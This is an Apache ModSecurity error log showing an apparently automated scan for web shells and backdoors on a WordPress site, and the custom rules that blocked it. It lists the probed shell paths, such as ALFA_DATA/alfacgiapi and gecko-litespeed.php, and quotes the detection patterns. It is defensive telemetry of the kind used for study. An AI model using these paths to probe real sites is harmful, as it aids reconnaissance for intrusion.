[Mon Dec 01 02:29:20.441259 2025] [:error] [pid 32522:tid 32581] [client 20.37.126.21:44061] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aSyNACY5g6U7AgYu2cLBQgAAAMI"]
[Mon Dec 01 02:29:20.832156 2025] [:error] [pid 32521:tid 32559] [client 20.37.126.21:44144] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aSyNAD-OXioBrWvHoPrZ8AAAAwc"]
[Mon Dec 01 02:29:21.225980 2025] [:error] [pid 41526:tid 41548] [client 20.37.126.21:44069] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aSyNAV0bjN1zt83-HJ0joQAAAVE"]
[Mon Dec 01 02:29:21.681812 2025] [:error] [pid 32521:tid 32566] [client 20.37.126.21:44092] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aSyNAT-OXioBrWvHoPrZ8gAAAw4"]
[Mon Dec 01 02:29:22.094810 2025] [:error] [pid 32521:tid 32565] [client 20.37.126.21:44059] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/"] [unique_id "aSyNAj-OXioBrWvHoPrZ9AAAAw0"]
[Mon Dec 01 02:29:22.506449 2025] [:error] [pid 32521:tid 32567] [client 20.37.126.21:44072] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/"] [unique_id "aSyNAj-OXioBrWvHoPrZ9wAAAw8"]
[Mon Dec 01 02:29:22.868128 2025] [:error] [pid 41526:tid 41542] [client 20.37.126.21:44085] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/"] [unique_id "aSyNAl0bjN1zt83-HJ0jpQAAAUs"]
[Mon Dec 01 02:29:23.355399 2025] [:error] [pid 32522:tid 32587] [client 20.37.126.21:44136] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/"] [unique_id "aSyNAyY5g6U7AgYu2cLBQwAAAMg"]
[Mon Dec 01 02:29:24.059152 2025] [:error] [pid 32522:tid 32595] [client 20.37.126.21:19341] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-admin/includes/"] [unique_id "aSyNBCY5g6U7AgYu2cLBRgAAANA"]
[Mon Dec 01 02:29:24.546644 2025] [:error] [pid 32521:tid 32556] [client 20.37.126.21:44132] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-admin/includes/"] [unique_id "aSyNBD-OXioBrWvHoPrZ-AAAAwQ"]
[Mon Dec 01 02:29:25.102070 2025] [:error] [pid 41526:tid 41552] [client 20.37.126.21:44043] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-admin/includes/"] [unique_id "aSyNBV0bjN1zt83-HJ0jqQAAAVU"]
[Mon Dec 01 02:29:25.720152 2025] [:error] [pid 32522:tid 32601] [client 20.37.126.21:44077] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-admin/includes/"] [unique_id "aSyNBSY5g6U7AgYu2cLBSAAAANY"]
[Mon Dec 01 02:29:26.133339 2025] [:error] [pid 32520:tid 32531] [client 20.37.126.21:19412] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aSyNBvvbCMB_T-u6uxlXpgAAA4Y"]
[Mon Dec 01 02:29:26.694794 2025] [:error] [pid 32521:tid 32570] [client 20.37.126.21:44062] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aSyNBj-OXioBrWvHoPrZ_AAAAxI"]
[Mon Dec 01 02:29:27.201829 2025] [:error] [pid 22995:tid 23014] [client 20.37.126.21:44042] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aSyNB6hgK6YGad0ApM9eTgAAARA"]
[Mon Dec 01 02:29:27.920502 2025] [:error] [pid 22995:tid 22999] [client 20.37.126.21:19398] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/"] [unique_id "aSyNB6hgK6YGad0ApM9eUgAAAQE"]
[Mon Dec 01 02:29:28.253028 2025] [:error] [pid 25124:tid 25153] [client 20.37.126.21:44145] [client 20.37.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSyNCFl826mNLYSD9-3P-gAAAEA"]
[Mon Dec 01 02:29:29.134952 2025] [:error] [pid 25124:tid 25176] [client 20.37.126.21:19405] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSyNCVl826mNLYSD9-3P-wAAAFc"]
[Mon Dec 01 02:29:29.779288 2025] [:error] [pid 32520:tid 32538] [client 20.37.126.21:44127] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSyNCfvbCMB_T-u6uxlXqgAAA40"]
[Mon Dec 01 02:29:30.391757 2025] [:error] [pid 22995:tid 23009] [client 20.37.126.21:44129] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSyNCqhgK6YGad0ApM9eVQAAAQs"]
[Mon Dec 01 02:29:31.135592 2025] [:error] [pid 32522:tid 32591] [client 20.37.126.21:44105] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aSyNCyY5g6U7AgYu2cLBTQAAAMw"]
[Mon Dec 01 02:29:31.590306 2025] [:error] [pid 22995:tid 23011] [client 20.37.126.21:19435] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/templates/cassiopeia/index.php"] [unique_id "aSyNC6hgK6YGad0ApM9eWQAAAQ0"]
[Mon Dec 01 02:29:32.723829 2025] [:error] [pid 32611:tid 32623] [client 20.37.126.21:44142] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/templates/cassiopeia/index.php"] [unique_id "aSyNDK_aT7PlMcEPLmkoxwAAAAo"]
[Mon Dec 01 02:29:33.629410 2025] [:error] [pid 32611:tid 32635] [client 20.37.126.21:44118] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/templates/cassiopeia/index.php"] [unique_id "aSyNDa_aT7PlMcEPLmkoyAAAABY"]
[Mon Dec 01 02:29:34.480639 2025] [:error] [pid 32522:tid 32592] [client 20.37.126.21:44134] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/templates/cassiopeia/index.php"] [unique_id "aSyNDiY5g6U7AgYu2cLBUQAAAM0"]
[Mon Dec 01 02:29:35.252372 2025] [:error] [pid 32522:tid 32600] [client 20.37.126.21:44053] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/"] [unique_id "aSyNDyY5g6U7AgYu2cLBVAAAANU"]
[Mon Dec 01 02:29:35.782045 2025] [:error] [pid 22995:tid 23002] [client 20.37.126.21:44041] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/"] [unique_id "aSyND6hgK6YGad0ApM9eXgAAAQQ"]
[Mon Dec 01 02:29:36.170135 2025] [:error] [pid 32521:tid 32559] [client 20.37.126.21:44095] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/"] [unique_id "aSyNED-OXioBrWvHoPraAgAAAwc"]
[Mon Dec 01 02:29:36.643383 2025] [:error] [pid 32520:tid 32527] [client 20.37.126.21:44141] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/"] [unique_id "aSyNEPvbCMB_T-u6uxlXsQAAA4I"]
[Mon Dec 01 02:29:37.056817 2025] [:error] [pid 41526:tid 41539] [client 20.37.126.21:44133] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSyNEV0bjN1zt83-HJ0jtQAAAUg"]
[Mon Dec 01 02:29:37.853617 2025] [:error] [pid 41526:tid 41549] [client 20.37.126.21:44110] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSyNEV0bjN1zt83-HJ0jtwAAAVI"]
[Mon Dec 01 02:29:38.298756 2025] [:error] [pid 32611:tid 32625] [client 20.37.126.21:44098] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSyNEq_aT7PlMcEPLmkoyQAAAAw"]
[Mon Dec 01 02:29:38.754046 2025] [:error] [pid 32611:tid 32629] [client 20.37.126.21:44093] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "aSyNEq_aT7PlMcEPLmkoygAAABA"]
[Mon Dec 01 02:29:39.280098 2025] [:error] [pid 32611:tid 32616] [client 20.37.126.21:19410] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aSyNE6_aT7PlMcEPLmkozwAAAAM"]
[Mon Dec 01 02:29:40.007253 2025] [:error] [pid 32611:tid 32628] [client 20.37.126.21:44051] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aSyNFK_aT7PlMcEPLmko0QAAAA8"]
[Mon Dec 01 02:29:41.006916 2025] [:error] [pid 32521:tid 32575] [client 20.37.126.21:19396] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aSyNFT-OXioBrWvHoPraCQAAAxc"]
[Mon Dec 01 02:29:42.170633 2025] [:error] [pid 22995:tid 23001] [client 20.37.126.21:44052] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aSyNFqhgK6YGad0ApM9eZQAAAQM"]
[Mon Dec 01 02:29:42.621900 2025] [:error] [pid 32520:tid 32538] [client 20.37.126.21:19393] [client 20.37.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSyNFvvbCMB_T-u6uxlXvQAAA40"]
[Mon Dec 01 02:29:43.075359 2025] [:error] [pid 25124:tid 25174] [client 20.37.126.21:19429] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/about.php"] [unique_id "aSyNF1l826mNLYSD9-3QBgAAAFU"]
[Mon Dec 01 02:29:43.770504 2025] [:error] [pid 32520:tid 32525] [client 20.37.126.21:44100] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/about.php"] [unique_id "aSyNF_vbCMB_T-u6uxlXvwAAA4A"]
[Mon Dec 01 02:29:44.120304 2025] [:error] [pid 22963:tid 22976] [client 20.37.126.21:44039] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/about.php"] [unique_id "aSyNGCgjrTC0kxo5Q-z7ywAAAIs"]
[Mon Dec 01 02:29:44.905601 2025] [:error] [pid 25124:tid 25154] [client 20.37.126.21:44123] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/about.php"] [unique_id "aSyNGFl826mNLYSD9-3QEQAAAEE"]
[Mon Dec 01 02:29:47.605677 2025] [:error] [pid 41526:tid 41534] [client 20.37.126.21:44111] [client 20.37.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSyNG10bjN1zt83-HJ0jxAAAAUM"]
[Mon Dec 01 02:29:50.195154 2025] [:error] [pid 32521:tid 32553] [client 20.37.126.21:44115] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/"] [unique_id "aSyNHj-OXioBrWvHoPraJwAAAwE"]
[Mon Dec 01 02:29:50.651803 2025] [:error] [pid 22995:tid 23010] [client 20.37.126.21:44130] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/"] [unique_id "aSyNHqhgK6YGad0ApM9ejwAAAQw"]
[Mon Dec 01 02:29:51.296516 2025] [:error] [pid 22995:tid 23011] [client 20.37.126.21:44109] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/"] [unique_id "aSyNH6hgK6YGad0ApM9ekQAAAQ0"]
[Mon Dec 01 02:29:51.924328 2025] [:error] [pid 41526:tid 41535] [client 20.37.126.21:19409] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/"] [unique_id "aSyNH10bjN1zt83-HJ0jywAAAUQ"]
[Mon Dec 01 02:29:52.771302 2025] [:error] [pid 22995:tid 23007] [client 20.37.126.21:44058] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/about.php"] [unique_id "aSyNIKhgK6YGad0ApM9ekwAAAQk"]
[Mon Dec 01 02:29:53.860122 2025] [:error] [pid 32521:tid 32576] [client 20.37.126.21:44106] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/about.php"] [unique_id "aSyNIT-OXioBrWvHoPraKAAAAxg"]
[Mon Dec 01 02:29:56.095105 2025] [:error] [pid 41526:tid 41549] [client 20.37.126.21:19454] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/about.php"] [unique_id "aSyNJF0bjN1zt83-HJ0jzgAAAVI"]
[Mon Dec 01 02:29:57.399215 2025] [:error] [pid 22963:tid 22978] [client 20.37.126.21:19340] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/about.php"] [unique_id "aSyNJSgjrTC0kxo5Q-z71QAAAI0"]
[Mon Dec 01 02:29:59.202160 2025] [:error] [pid 32611:tid 32629] [client 20.37.126.21:44097] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aSyNJ6_aT7PlMcEPLmko8wAAABA"]
[Mon Dec 01 02:30:00.580413 2025] [:error] [pid 32520:tid 32544] [client 20.37.126.21:44078] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aSyNKPvbCMB_T-u6uxlYAQAAA5M"]
[Mon Dec 01 02:30:01.293117 2025] [:error] [pid 32520:tid 32536] [client 20.37.126.21:44138] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aSyNKfvbCMB_T-u6uxlYAwAAA4s"]
